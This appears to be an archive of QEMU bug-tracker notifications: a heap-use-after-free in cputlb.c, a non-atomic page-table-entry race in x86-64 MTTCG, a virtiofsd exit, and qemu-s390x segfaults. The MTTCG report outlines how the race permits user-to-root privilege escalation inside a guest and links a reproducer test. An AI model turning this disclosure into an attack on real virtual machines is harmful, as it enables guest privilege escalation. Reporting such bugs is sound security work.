  [4.691345][T1] pci :00:03.0: [8086:100e] type 00 class 0x02   


 
  [4.701540][T1] pci :00:03.0: reg 0x10: [mem 
0xfebc-0xfebd]  

   
  [4.711076][T1] pci :00:03.0: reg 0x14: [io  0xc000-0xc03f]


 
  [4.746869][T1] pci :00:03.0: reg 0x30: [mem 0xfeb8-0xfebb 
pref]   

 
  [4.813612][T1] ACPI: PCI Interrupt Link [LNKA] (IRQs 5 *10 11)


 
  #0 0x55885b0b4d1a in io_writex ../accel/tcg/cputlb.c:1408 


 
  #1 0x55885b0d3b9f in store_helper ../accel/tcg/cputlb.c:2444  


 
  #2 0x55885b0d3b9f in helper_le_stl_mmu ../accel/tcg/cputlb.c:2510 


 
  [4.820927][T1] ACPI: PCI Interrupt Link [LNKB] (IRQs 5 *10 11)


 
  #3 0x7f843cedf8dc  ()

[Bug 1920934] Re: Heap-use-after-free in io_writex / cputlb.c results in Linux kernel crashes

2021-03-23 Thread Marco Elver

Yes, I have:

commit 5ca634afcf83215a9a54ca6e66032325b5ffb5f6 (HEAD -> master, origin/master, 
origin/HEAD)   
Merge: c95bd5ff16 cffb446e8f
Author: Peter Maydell 
Date:   Mon Mar 22 18:50:25 2021 +

Or another branch?

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1920934

Title:
  Heap-use-after-free in io_writex / cputlb.c results in Linux kernel
  crashes

Status in QEMU:
  New

Bug description:
  qemu version: git 5ca634afcf83215a9a54ca6e66032325b5ffb5f6; 5.2.0

  We've encountered that booting the Linux kernel in TCG mode, results
  in a racy heap-use-after-free. The bug can be detected by ASan [A],
  but in the majority of runs results in a crashing kernel [B].

  To reproduce, the following command line was used:

  $> while ./qemu-system-x86_64 -no-reboot -smp 10 -m 2G -kernel
  arch/x86/boot/bzImage -nographic -append "oops=panic panic_on_warn=1
  panic=1 kfence.sample_interval=1 nokaslr"; do sleep 0.5s; done

  The crashes in the kernel [B] appear to receive an interrupt in a code
  location where the instructions are periodically patched (via the
  jump_label infrastructure).

  [A]:
  = 


 
  ==3552508==ERROR: AddressSanitizer: heap-use-after-free on address 
0x6190007fef50 at pc 0x55885b0b4d1b bp 0x7f83baffb800 sp 0x7f83baffb7f8 


  READ of size 8 at 0x6190007fef50 thread T4


 
  [4.616506][T1] pci :00:02.0: reg 0x18: [mem 
0xfebf-0xfebf0fff]  

   
  [4.670567][T1] pci :00:02.0: reg 0x30: [mem 0xfebe-0xfebe 
pref]   

 
  [4.691345][T1] pci :00:03.0: [8086:100e] type 00 class 0x02   


 
  [4.701540][T1] pci :00:03.0: reg 0x10: [mem 
0xfebc-0xfebd]  

   
  [4.711076][T1] pci :00:03.0: reg 0x14: [io  0xc000-0xc03f]


 
  [4.746869][T1] pci :00:03.0: reg 0x30: [mem 0xfeb8-0xfebb 
pref]   

 
  [4.813612][T1] ACPI: PCI Interrupt Link [LNKA] (IRQs 5 *10 11)


 
  #0 0x55885b0b4d1a in io_writex ../accel/tcg/cputlb.c:1408 


 
  #1 0x55885b0d3b9f in store_helper ../accel/tcg/cputlb.c:2444  


 
  #2 0x55885b0d3b9f in helper_le_stl_mmu ../accel/tcg/cputlb.c:2510 


 
  [4.820927][T1] ACPI: PCI Interrupt Link [LNKB] (IRQs 5 *10 11)


 
  #3 0x7f843cedf8dc  ()

[Bug 1920934] [NEW] Heap-use-after-free in io_writex / cputlb.c results in Linux kernel crashes

2021-03-23 Thread Marco Elver

Public bug reported:

qemu version: git 5ca634afcf83215a9a54ca6e66032325b5ffb5f6; 5.2.0

We've encountered that booting the Linux kernel in TCG mode, results in
a racy heap-use-after-free. The bug can be detected by ASan [A], but in
the majority of runs results in a crashing kernel [B].

To reproduce, the following command line was used:

$> while ./qemu-system-x86_64 -no-reboot -smp 10 -m 2G -kernel
arch/x86/boot/bzImage -nographic -append "oops=panic panic_on_warn=1
panic=1 kfence.sample_interval=1 nokaslr"; do sleep 0.5s; done

The crashes in the kernel [B] appear to receive an interrupt in a code
location where the instructions are periodically patched (via the
jump_label infrastructure).

[A]:
=   


   
==3552508==ERROR: AddressSanitizer: heap-use-after-free on address 
0x6190007fef50 at pc 0x55885b0b4d1b bp 0x7f83baffb800 sp 0x7f83baffb7f8 


READ of size 8 at 0x6190007fef50 thread T4  


   
[4.616506][T1] pci :00:02.0: reg 0x18: [mem 0xfebf-0xfebf0fff]  


   
[4.670567][T1] pci :00:02.0: reg 0x30: [mem 0xfebe-0xfebe 
pref]   

 
[4.691345][T1] pci :00:03.0: [8086:100e] type 00 class 0x02 


   
[4.701540][T1] pci :00:03.0: reg 0x10: [mem 0xfebc-0xfebd]  


   
[4.711076][T1] pci :00:03.0: reg 0x14: [io  0xc000-0xc03f]  


   
[4.746869][T1] pci :00:03.0: reg 0x30: [mem 0xfeb8-0xfebb 
pref]   

 
[4.813612][T1] ACPI: PCI Interrupt Link [LNKA] (IRQs 5 *10 11)  


   
#0 0x55885b0b4d1a in io_writex ../accel/tcg/cputlb.c:1408   


   
#1 0x55885b0d3b9f in store_helper ../accel/tcg/cputlb.c:2444


   
#2 0x55885b0d3b9f in helper_le_stl_mmu ../accel/tcg/cputlb.c:2510   


   
[4.820927][T1] ACPI: PCI Interrupt Link [LNKB] (IRQs 5 *10 11)  


   
#3 0x7f843cedf8dc  ()   


   



   
0x6190007fef50 is located 208 bytes inside of 1024-byte region 
[0x6190007fee80,0x6190007ff280)

[Bug 1911351] Re: x86-64 MTTCG Does not update page table entries atomically

2021-01-31 Thread Marco

We only tested it on x86-64 and aarch64, but we couldn't repro on arm.
It is possible that this affects other platforms as well, but note that
this is specifically mentioned in the qemu wiki as one of the cases that
should be covered when porting mttcg to a new platform:
https://wiki.qemu.org/Features/tcg-multithread

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1911351

Title:
  x86-64 MTTCG Does not update page table entries atomically

Status in QEMU:
  Confirmed

Bug description:
  It seems like the qemu tcg code for x86-64 doesn't write the access
  and dirty bits of the page table entries atomically. Instead, they
  first read the entry, see if they need to set the page table entry,
  and then write back the updated page table entry. So if you have two
  threads running at the same time, one accessing the virtual address
  over and over again, and the other modifying the page table entry, it
  is possible that after the second thread modifies the page table
  entry, qemu overwrites the value with the old page table entry value,
  with the access/dirty flags set.

  Here's a unit test that reproduces this behavior:

  https://github.com/mvanotti/kvm-unit-
  tests/commit/09f9722807271226a714b04f25174776454b19cd

  You can run it with:

  ```
  /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults \
  -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 \
  -vnc none -serial stdio -device pci-testdev \
  -smp 4 -machine q35 --accel tcg,thread=multi \
  -kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  ```

  Expected output (failure):

  ```
  kvm-unit-tests$ make && /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults 
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none 
-serial stdio -device pci-testdev -smp 4 -machine q35 --accel tcg,thread=multi  
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  enabling apic
  enabling apic
  enabling apic
  enabling apic
  paging enabled
  cr0 = 80010011
  cr3 = 627000
  cr4 = 20
  found 4 cpus
  PASS: Need more than 1 CPU
  Detected overwritten PTE:
  want: 0x0062e007
  got:  0x0062d027
  FAIL: PTE not overwritten
  PASS: All Reads were zero
  SUMMARY: 3 tests, 1 unexpected failures
  ```

  This bug allows user-to-root privilege escalation inside the guest VM:
  if the user is able overwrite an entry that belongs to a second-to-
  last level page table, and is able to allocate the referenced page,
  then the user would be in control of a last-level page table, being
  able to map any memory they want. This is not uncommon in situations
  where memory is being decomitted.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1911351/+subscriptions

[Bug 1911351] Re: x86-64 MTTCG Does not update page table entries atomically

2021-01-12 Thread Marco

** Description changed:

  It seems like the qemu tcg code for x86-64 doesn't write the access and
- dirty flags of the page table entries atomically. Instead, they first
+ dirty bits of the page table entries atomically. Instead, they first
  read the entry, see if they need to set the page table entry, and then
- overwrite the entry. So if you have two threads running at the same
- time, one accessing the virtual address over and over again, and the
- other modifying the page table entry, it is possible that after the
- second thread modifies the page table entry, qemu overwrites the value
- with the old page table entry value, with the access/dirty flags set.
+ write back the updated page table entry. So if you have two threads
+ running at the same time, one accessing the virtual address over and
+ over again, and the other modifying the page table entry, it is possible
+ that after the second thread modifies the page table entry, qemu
+ overwrites the value with the old page table entry value, with the
+ access/dirty flags set.
  
  Here's a unit test that reproduces this behavior:
  
  https://github.com/mvanotti/kvm-unit-
  tests/commit/09f9722807271226a714b04f25174776454b19cd
  
  You can run it with:
  
  ```
  /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults \
  -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 \
  -vnc none -serial stdio -device pci-testdev \
  -smp 4 -machine q35 --accel tcg,thread=multi \
  -kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  ```
  
  Expected output (failure):
  
  ```
  kvm-unit-tests$ make && /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults 
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none 
-serial stdio -device pci-testdev -smp 4 -machine q35 --accel tcg,thread=multi  
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  enabling apic
  enabling apic
  enabling apic
  enabling apic
  paging enabled
  cr0 = 80010011
  cr3 = 627000
  cr4 = 20
  found 4 cpus
  PASS: Need more than 1 CPU
  Detected overwritten PTE:
- want: 0x0062e007
- got:  0x0062d027
+ want: 0x0062e007
+ got:  0x0062d027
  FAIL: PTE not overwritten
  PASS: All Reads were zero
  SUMMARY: 3 tests, 1 unexpected failures
  ```
  
- This bug has allows user-to-root privilege escalation inside the guest
- VM: if the user is able overwrite an entry that belongs to a second-to-
- last level page table, and is able to allocate the referenced page, then
- the user would be in control of a last-level page table, being able to
- map any memory they want. This is not uncommon in situations where
- memory is being decomitted.
+ This bug allows user-to-root privilege escalation inside the guest VM:
+ if the user is able overwrite an entry that belongs to a second-to-last
+ level page table, and is able to allocate the referenced page, then the
+ user would be in control of a last-level page table, being able to map
+ any memory they want. This is not uncommon in situations where memory is
+ being decomitted.

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1911351

Title:
  x86-64 MTTCG Does not update page table entries atomically

Status in QEMU:
  Confirmed

Bug description:
  It seems like the qemu tcg code for x86-64 doesn't write the access
  and dirty bits of the page table entries atomically. Instead, they
  first read the entry, see if they need to set the page table entry,
  and then write back the updated page table entry. So if you have two
  threads running at the same time, one accessing the virtual address
  over and over again, and the other modifying the page table entry, it
  is possible that after the second thread modifies the page table
  entry, qemu overwrites the value with the old page table entry value,
  with the access/dirty flags set.

  Here's a unit test that reproduces this behavior:

  https://github.com/mvanotti/kvm-unit-
  tests/commit/09f9722807271226a714b04f25174776454b19cd

  You can run it with:

  ```
  /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults \
  -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 \
  -vnc none -serial stdio -device pci-testdev \
  -smp 4 -machine q35 --accel tcg,thread=multi \
  -kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  ```

  Expected output (failure):

  ```
  kvm-unit-tests$ make && /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults 
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none 
-serial stdio -device pci-testdev -smp 4 -machine q35 --accel tcg,thread=multi  
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  enabling apic
  enabling apic
  enabling apic
  enabling apic
  paging enabled
  cr0 = 80010011
  cr3 = 627000
  cr4 = 20
  found 4 cpus
  PASS: Need more than 1 CPU
  Detected overwritten PTE:
  want: 0x0062e007
  got:

[Bug 1911351] [NEW] x86-64 MTTCG Does not update page table entries atomically

2021-01-12 Thread Marco

Public bug reported:

It seems like the qemu tcg code for x86-64 doesn't write the access and
dirty flags of the page table entries atomically. Instead, they first
read the entry, see if they need to set the page table entry, and then
overwrite the entry. So if you have two threads running at the same
time, one accessing the virtual address over and over again, and the
other modifying the page table entry, it is possible that after the
second thread modifies the page table entry, qemu overwrites the value
with the old page table entry value, with the access/dirty flags set.

Here's a unit test that reproduces this behavior:

https://github.com/mvanotti/kvm-unit-
tests/commit/09f9722807271226a714b04f25174776454b19cd

You can run it with:

```
/usr/bin/qemu-system-x86_64 --no-reboot -nodefaults \
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 \
-vnc none -serial stdio -device pci-testdev \
-smp 4 -machine q35 --accel tcg,thread=multi \
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
```

Expected output (failure):

```
kvm-unit-tests$ make && /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults 
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none 
-serial stdio -device pci-testdev -smp 4 -machine q35 --accel tcg,thread=multi  
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
enabling apic
enabling apic
enabling apic
enabling apic
paging enabled
cr0 = 80010011
cr3 = 627000
cr4 = 20
found 4 cpus
PASS: Need more than 1 CPU
Detected overwritten PTE:
want: 0x0062e007
got:  0x0062d027
FAIL: PTE not overwritten
PASS: All Reads were zero
SUMMARY: 3 tests, 1 unexpected failures
```

This bug has allows user-to-root privilege escalation inside the guest
VM: if the user is able overwrite an entry that belongs to a second-to-
last level page table, and is able to allocate the referenced page, then
the user would be in control of a last-level page table, being able to
map any memory they want. This is not uncommon in situations where
memory is being decomitted.

** Affects: qemu
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1911351

Title:
  x86-64 MTTCG Does not update page table entries atomically

Status in QEMU:
  New

Bug description:
  It seems like the qemu tcg code for x86-64 doesn't write the access
  and dirty flags of the page table entries atomically. Instead, they
  first read the entry, see if they need to set the page table entry,
  and then overwrite the entry. So if you have two threads running at
  the same time, one accessing the virtual address over and over again,
  and the other modifying the page table entry, it is possible that
  after the second thread modifies the page table entry, qemu overwrites
  the value with the old page table entry value, with the access/dirty
  flags set.

  Here's a unit test that reproduces this behavior:

  https://github.com/mvanotti/kvm-unit-
  tests/commit/09f9722807271226a714b04f25174776454b19cd

  You can run it with:

  ```
  /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults \
  -device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 \
  -vnc none -serial stdio -device pci-testdev \
  -smp 4 -machine q35 --accel tcg,thread=multi \
  -kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  ```

  Expected output (failure):

  ```
  kvm-unit-tests$ make && /usr/bin/qemu-system-x86_64 --no-reboot -nodefaults 
-device pc-testdev -device isa-debug-exit,iobase=0xf4,iosize=0x4 -vnc none 
-serial stdio -device pci-testdev -smp 4 -machine q35 --accel tcg,thread=multi  
-kernel x86/mmu-race.flat # -initrd /tmp/tmp.avvPpezMFf
  enabling apic
  enabling apic
  enabling apic
  enabling apic
  paging enabled
  cr0 = 80010011
  cr3 = 627000
  cr4 = 20
  found 4 cpus
  PASS: Need more than 1 CPU
  Detected overwritten PTE:
  want: 0x0062e007
  got:  0x0062d027
  FAIL: PTE not overwritten
  PASS: All Reads were zero
  SUMMARY: 3 tests, 1 unexpected failures
  ```

  This bug has allows user-to-root privilege escalation inside the guest
  VM: if the user is able overwrite an entry that belongs to a second-
  to-last level page table, and is able to allocate the referenced page,
  then the user would be in control of a last-level page table, being
  able to map any memory they want. This is not uncommon in situations
  where memory is being decomitted.

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1911351/+subscriptions

[Bug 1889945] [NEW] virtiofsd exits when iommu_platform is enabled after virtiofs driver is loaded

2020-07-31 Thread Marco Steiger

Public bug reported:

Bug in QEMU 5.0.0:

virtiofsd exits when iommu_platform is enabled after virtiofs driver is loaded.
If iommu_platform is disabled the guest immediately locks up as a result of the 
configured PCIe-Passthrough.

Host system:
- Arch Linux amd64
- AMD Ryzen Platform
- QEMU 5.0.0

Guest system:
- Windows Server 2019 (also happens in linux installations)
- PCIe GPU hostdev
- virtiofs passthrough

Many thanks for any advice.

QEMU LOG:
2020-07-28 19:20:07.197+: Starting external device: virtiofsd
/usr/lib/qemu/virtiofsd --fd=29 -o source=/viofstest
2020-07-28 19:20:07.207+: starting up libvirt version: 6.5.0, qemu version: 
5.0.0, kernel: 5.7.10-arch1-1, hostname: mspc
LC_ALL=C \
PATH=/usr/local/sbin:/usr/local/bin:/usr/bin \
HOME=/var/lib/libvirt/qemu/domain-7-win \
XDG_DATA_HOME=/var/lib/libvirt/qemu/domain-7-win/.local/share \
XDG_CACHE_HOME=/var/lib/libvirt/qemu/domain-7-win/.cache \
XDG_CONFIG_HOME=/var/lib/libvirt/qemu/domain-7-win/.config \
QEMU_AUDIO_DRV=none \
/usr/bin/qemu-system-x86_64 \
-name guest=win,debug-threads=on \
-S \
-object 
secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-7-win/master-key.aes
 \
-blockdev 
'{"driver":"file","filename":"/usr/share/ovmf/x64/OVMF_CODE.fd","node-name":"libvirt-pflash0-storage","auto-read-only":true,"discard":"unmap"}'
 \
-blockdev 
'{"node-name":"libvirt-pflash0-format","read-only":true,"driver":"raw","file":"libvirt-pflash0-storage"}'
 \
-blockdev 
'{"driver":"file","filename":"/var/lib/libvirt/qemu/nvram/win_VARS.fd","node-name":"libvirt-pflash1-storage","auto-read-only":true,"discard":"unmap"}'
 \
-blockdev 
'{"node-name":"libvirt-pflash1-format","read-only":false,"driver":"raw","file":"libvirt-pflash1-storage"}'
 \
-machine 
pc-q35-5.0,accel=kvm,usb=off,vmport=off,dump-guest-core=off,kernel_irqchip=on,pflash0=libvirt-pflash0-format,pflash1=libvirt-pflash1-format
 \
-cpu 
host,migratable=on,hv-time,hv-relaxed,hv-vapic,hv-spinlocks=0x1fff,hv-vendor-id=whatever,kvm=off
 \
-m 2048 \
-overcommit mem-lock=off \
-smp 8,sockets=8,cores=1,threads=1 \
-object 
memory-backend-file,id=ram-node0,prealloc=yes,mem-path=/dev/hugepages/libvirt/qemu/7-win,share=yes,size=2147483648
 \
-numa node,nodeid=0,cpus=0-7,memdev=ram-node0 \
-uuid c8efa194-52f8-4526-a0f8-29a254839b55 \
-display none \
-no-user-config \
-nodefaults \
-chardev socket,id=charmonitor,fd=29,server,nowait \
-mon chardev=charmonitor,id=monitor,mode=control \
-rtc base=localtime,driftfix=slew \
-global kvm-pit.lost_tick_policy=delay \
-no-hpet \
-no-shutdown \
-global ICH9-LPC.disable_s3=1 \
-global ICH9-LPC.disable_s4=1 \
-boot menu=off,strict=on \
-device 
pcie-root-port,port=0x10,chassis=1,id=pci.1,bus=pcie.0,multifunction=on,addr=0x2
 \
-device pcie-pci-bridge,id=pci.2,bus=pci.1,addr=0x0 \
-device pcie-root-port,port=0x11,chassis=3,id=pci.3,bus=pcie.0,addr=0x2.0x1 \
-device pcie-root-port,port=0x12,chassis=4,id=pci.4,bus=pcie.0,addr=0x2.0x2 \
-device pcie-root-port,port=0x13,chassis=5,id=pci.5,bus=pcie.0,addr=0x2.0x3 \
-device pcie-root-port,port=0x14,chassis=6,id=pci.6,bus=pcie.0,addr=0x2.0x4 \
-device pcie-root-port,port=0x15,chassis=7,id=pci.7,bus=pcie.0,addr=0x2.0x5 \
-device pcie-root-port,port=0x16,chassis=8,id=pci.8,bus=pcie.0,addr=0x2.0x6 \
-device pcie-root-port,port=0x17,chassis=9,id=pci.9,bus=pcie.0,addr=0x2.0x7 \
-device 
pcie-root-port,port=0x18,chassis=10,id=pci.10,bus=pcie.0,multifunction=on,addr=0x3
 \
-device pcie-root-port,port=0x19,chassis=11,id=pci.11,bus=pcie.0,addr=0x3.0x1 \
-device pcie-root-port,port=0x1a,chassis=12,id=pci.12,bus=pcie.0,addr=0x3.0x2 \
-device 
pcie-root-port,port=0x8,chassis=13,id=pci.13,bus=pcie.0,multifunction=on,addr=0x1
 \
-device pcie-root-port,port=0x9,chassis=14,id=pci.14,bus=pcie.0,addr=0x1.0x1 \
-device pcie-root-port,port=0xa,chassis=15,id=pci.15,bus=pcie.0,addr=0x1.0x2 \
-device pcie-root-port,port=0xb,chassis=16,id=pci.16,bus=pcie.0,addr=0x1.0x3 \
-device nec-usb-xhci,id=usb,bus=pci.7,addr=0x0 \
-device virtio-serial-pci,id=virtio-serial0,bus=pci.14,addr=0x0 \
-blockdev 
'{"driver":"host_device","filename":"/dev/zvol/ssd/windows","aio":"threads","node-name":"libvirt-3-storage","cache":{"direct":true,"no-flush":false},"auto-read-only":true,"discard":"unmap"}'
 \
-blockdev 
'{"node-name":"libvirt-3-format","read-only":false,"cache":{"direct":true,"no-flush":false},"driver":"raw","file":"libvirt-3-storage"}'
 \
-device 
virtio-blk-pci,bus=pci.3,addr=0x0,drive=libvirt-3-format,id=virtio-disk0,bootindex=1,write-cache=on
 \
-blockdev 
'{"driver":"host_device","filename":"/dev/zvol/ssd/windows-ssdgames1","aio":"threads","node-name":"libvirt-2-storage","cache":{"direct":true,"no-flush":false},"auto-read-only":true,"discard":"unmap"}'
 \
-blockdev 
'{"node-name":"libvirt-2-format","read-only":false,"cache":{"direct":true,"no-flush":false},"driver":"raw","file":"libvirt-2-storage"}'
 \
-device 
virtio-blk-pci,bus=pci.9,addr=0x0,drive=libvirt-2-format,id=virtio-disk1,write-cache=on
 \
-blockdev

[Bug 1862986] Re: qemu-s390x segfaults

2020-05-03 Thread Marco

This still happens on qemu 5.0

Steps to reproduce:

# install packages
dpkg --add-architecture s390x
apt update
apt install qemu-user libc6:s390x libstdc++6:s390x libfontconfig1:s390x 
libxcb1:s390x
apt install g++-s390x-linux-gnu

# create dummy binary
echo 'int main(){}'| s390x-linux-gnu-g++ -x c++ -

# run dummy binary
qemu-s390x ./a.out
Segmentation fault (core dumped)

** Summary changed:

- qemu-s390x crashes when run on aarch64
+ qemu-s390x segfaults

** Changed in: qemu
   Status: Expired => New

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1862986

Title:
  qemu-s390x segfaults

Status in QEMU:
  New

Bug description:
  All tested versions (2.11 and 4.2) qemu-s390x crashes with a segfault
  when run on an aarch64 odroid Ubuntu.


  Steps to reproduce:

  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x --version
  qemu-s390x version 4.2.0
  Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x --version
  qemu-s390x version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.22)
  Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers

  qemu-arm does work on the same machine:

  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected


  
  What kind of debug information would be helpful for this issue report?
  GDB for the self-compiled latest release is not particularly helpful:

  (gdb) run
  Starting program: /usr/local/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a2a140 (LWP 28264)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x0096b218 in __bss_start__ ()
  (gdb) bt
  #0  0x0096b218 in __bss_start__ ()
  #1  0x006120a8 in ?? ()
  #2  0x0055579904b0 in ?? ()
  Backtrace stopped: previous frame inner to this frame (corrupt stack?)


  
  A bit more information is available in the version shipped by Ubuntu:

  (gdb) run
  Starting program: /usr/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a01180 (LWP 28271)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x00738f98 in code_gen_buffer ()
  (gdb) bt
  #0  0x00738f98 in code_gen_buffer ()
  #1  0x005e96c8 in cpu_exec ()
  #2  0x005ee430 in cpu_loop ()
  #3  0x005c3328 in main ()

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1862986/+subscriptions

[Bug 1862986] Re: qemu-s390x crashes when run on aarch64

2020-02-26 Thread Marco

I can also reproduce this in a debian:sid docker container on x86_64, so
this might not be related to the host CPU architecture

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1862986

Title:
  qemu-s390x crashes when run on aarch64

Status in QEMU:
  Incomplete

Bug description:
  All tested versions (2.11 and 4.2) qemu-s390x crashes with a segfault
  when run on an aarch64 odroid Ubuntu.


  Steps to reproduce:

  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x --version
  qemu-s390x version 4.2.0
  Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x --version
  qemu-s390x version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.22)
  Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers

  qemu-arm does work on the same machine:

  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-arm 
bitcoin-0.19.0.1-armhf/bin/test_bitcoin -t amount_tests
  Running 4 test cases...

  *** No errors detected


  
  What kind of debug information would be helpful for this issue report?
  GDB for the self-compiled latest release is not particularly helpful:

  (gdb) run
  Starting program: /usr/local/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a2a140 (LWP 28264)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x0096b218 in __bss_start__ ()
  (gdb) bt
  #0  0x0096b218 in __bss_start__ ()
  #1  0x006120a8 in ?? ()
  #2  0x0055579904b0 in ?? ()
  Backtrace stopped: previous frame inner to this frame (corrupt stack?)


  
  A bit more information is available in the version shipped by Ubuntu:

  (gdb) run
  Starting program: /usr/bin/qemu-s390x 
/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/aarch64-linux-gnu/libthread_db.so.1".
  [New Thread 0x7fb7a01180 (LWP 28271)]

  Thread 1 "qemu-s390x" received signal SIGSEGV, Segmentation fault.
  0x00738f98 in code_gen_buffer ()
  (gdb) bt
  #0  0x00738f98 in code_gen_buffer ()
  #1  0x005e96c8 in cpu_exec ()
  #2  0x005ee430 in cpu_loop ()
  #3  0x005c3328 in main ()

To manage notifications about this bug go to:
https://bugs.launchpad.net/qemu/+bug/1862986/+subscriptions

[Bug 1862986] Re: qemu-s390x crashes when run on aarch64

2020-02-26 Thread Marco

** Attachment added: "A smaller test binary that also crashes"
   
https://bugs.launchpad.net/qemu/+bug/1862986/+attachment/5331362/+files/hello_world.exe

-- 
You received this bug notification because you are a member of qemu-
devel-ml, which is subscribed to QEMU.
https://bugs.launchpad.net/bugs/1862986

Title:
  qemu-s390x crashes when run on aarch64

Status in QEMU:
  Incomplete

Bug description:
  All tested versions (2.11 and 4.2) qemu-s390x crashes with a segfault
  when run on an aarch64 odroid Ubuntu.


  Steps to reproduce:

  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
  Segmentation fault (core dumped)
  root@odroid:~/workspace/bitcoin-core# /usr/local/bin/qemu-s390x --version
  qemu-s390x version 4.2.0
  Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers
  root@odroid:~/workspace/bitcoin-core# /usr/bin/qemu-s390x 
"/root/workspace/bitcoin-core/build/bitcoin-s390x-linux-gnu/src/test/test_bitcoin_orig"
